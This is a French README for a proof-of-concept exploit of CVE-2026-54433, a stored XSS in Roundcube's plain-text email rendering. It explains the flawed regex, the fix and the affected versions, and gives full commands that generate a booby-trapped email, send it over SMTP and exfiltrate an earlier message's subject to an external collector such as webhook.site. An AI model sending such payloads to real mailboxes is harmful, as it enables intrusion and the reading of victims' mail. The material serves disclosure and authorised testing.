
PoC Python configurable pour CVE-2026-54433, un XSS stocké dans le moteur de rendu des e-mails en texte brut de Roundcube. Génère un .eml piégé, l'envoie via SMTP et valide l'impact dans un laboratoire Docker.

Ce dépôt contient une preuve de concept Python configurable pour CVE-2026-54433, une vulnérabilité de script intersite (XSS) stockée dans le moteur de rendu des e-mails en texte brut de Roundcube. Un expéditeur non authentifié peut délivrer un message text/plain spécialement conçu. Lorsqu'un utilisateur Roundcube authentifié ouvre ou prévisualise ce message, du JavaScript contrôlé par l'attaquant s'exécute dans l'origine Roundcube.
La preuve de concept démontre un impact concret sur une session authentifiée sans collecter de cookies ni de corps de messages : elle lit l'objet d'un message plus ancien et envoie cette valeur, l'origine Roundcube et le nom de la tâche à un collecteur autorisé sous forme de champs POST encodés dans l'URL.
Avertissement
Ceci est un code d'exploitation actif. Utilisez-le uniquement dans un laboratoire vous appartenant ou contre un système et une boîte aux lettres que vous êtes explicitement autorisé à tester. Le mode d'envoi transmet un e-mail spécialement conçu et peut divulguer un objet préexistant au collecteur. Utilisez
--generate-onlypour une inspection hors ligne.
Roundcube convertit les adresses trouvées dans les messages en texte brut en liens mailto: cliquables. Dans les versions affectées, le suffixe de requête optionnel était mis en correspondance avec \S+ :
. '(\?\S+)?'
Comme \S inclut < et >, une chaîne commençant comme une adresse e-mail pouvait amener le remplacement de lien automatique à consommer une balise HTML ouvrante tout en laissant le reste être interprété comme du balisage. Cette forme minimale illustre la primitive :
[email protected]?]
Le correctif en amont restreint le suffixe de requête afin qu'il ne puisse pas contenir de chevrons ni d'espaces :
. '(\?[^<>\s]+)?'
L'éditeur décrit le problème comme étant « zero-click » (zéro clic) car aucun clic sur un lien n'est requis. Ouvrir ou prévisualiser l'e-mail en étant authentifié reste l'action du client de messagerie qui déclenche le rendu de la charge utile.
| Ligne de version | Statut |
|---|---|
| Versions de Roundcube antérieures à 1.6.17 | Affectées |
| Roundcube 1.6.17 et versions 1.6.x ultérieures | Corrigées |
| Roundcube 1.7.0 et 1.7.1 | Affectées |
| Roundcube 1.7.2 et versions ultérieures | Corrigées |
Les commits de correctif publics sont :
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Mettez à jour vers Roundcube 1.6.17 / 1.7.2 ou une version prise en charge plus récente.
text/plain.src relatif échoué pour déclencher onerror. Un rappel vers le collecteur nécessite toujours une connectivité réseau du navigateur.HttpOnly. Cette preuve de concept ne tente pas de le lire. Sa requête same-origin utilise automatiquement la session authentifiée, et l'objet du message séparé constitue la preuve de l'impact.Le résultat démontré est l'exécution de JavaScript authentifié et l'accès en lecture à l'objet d'un e-mail antérieur. La prise de contrôle de compte, le vol arbitraire de corps de messages et l'exécution de code côté serveur ne sont pas revendiqués par ce dépôt.
cve-2026-54433-poc.py est autonome et n'utilise que la bibliothèque standard de Python. Il :
text/plain spécialement conçu selon RFC 5322 ;CVE-2026-54433 ;subject, origin et task vers /capture/<random-marker> ;La charge utile insère le commentaire DOM :
<!-- This is a BugBounty test; only one subject is copied as evidence -->
Elle masque également le fragment d'adresse auto-lié et l'indicateur d'image cassée tout en affichant le corps bénin fourni par l'appelant.
Générez l'e-mail sans établir de connexion réseau :
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
Ceci écrit :
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonInspectez le message généré avant d'utiliser le mode d'envoi.
La valeur --collector peut être un UUID Webhook.site, une URL de capture ou une URL #!/view/. Le script en déduit les points de terminaison de capture et d'interrogation.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
Si SMTP_PASSWORD est absent, le script demande le mot de passe sans l'afficher ni le stocker. Une variable portant un autre nom peut être sélectionnée avec --smtp-password-env NAME. Évitez --smtp-password sur les systèmes multi-utilisateurs, car les arguments de ligne de commande peuvent être visibles dans les listes de processus ou l'historique du shell.
Le script demande un YES explicite avant l'envoi. Dans le cadre d'une automatisation de laboratoire non interactive et déjà autorisée, passez --yes. Par défaut, il attend un rappel jusqu'à 24 heures ; utilisez --timeout SECONDS pour modifier cela.
Pour un collecteur autre que Webhook.site, transmettez la base de capture et le point de terminaison de statut JSON facultatif :
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls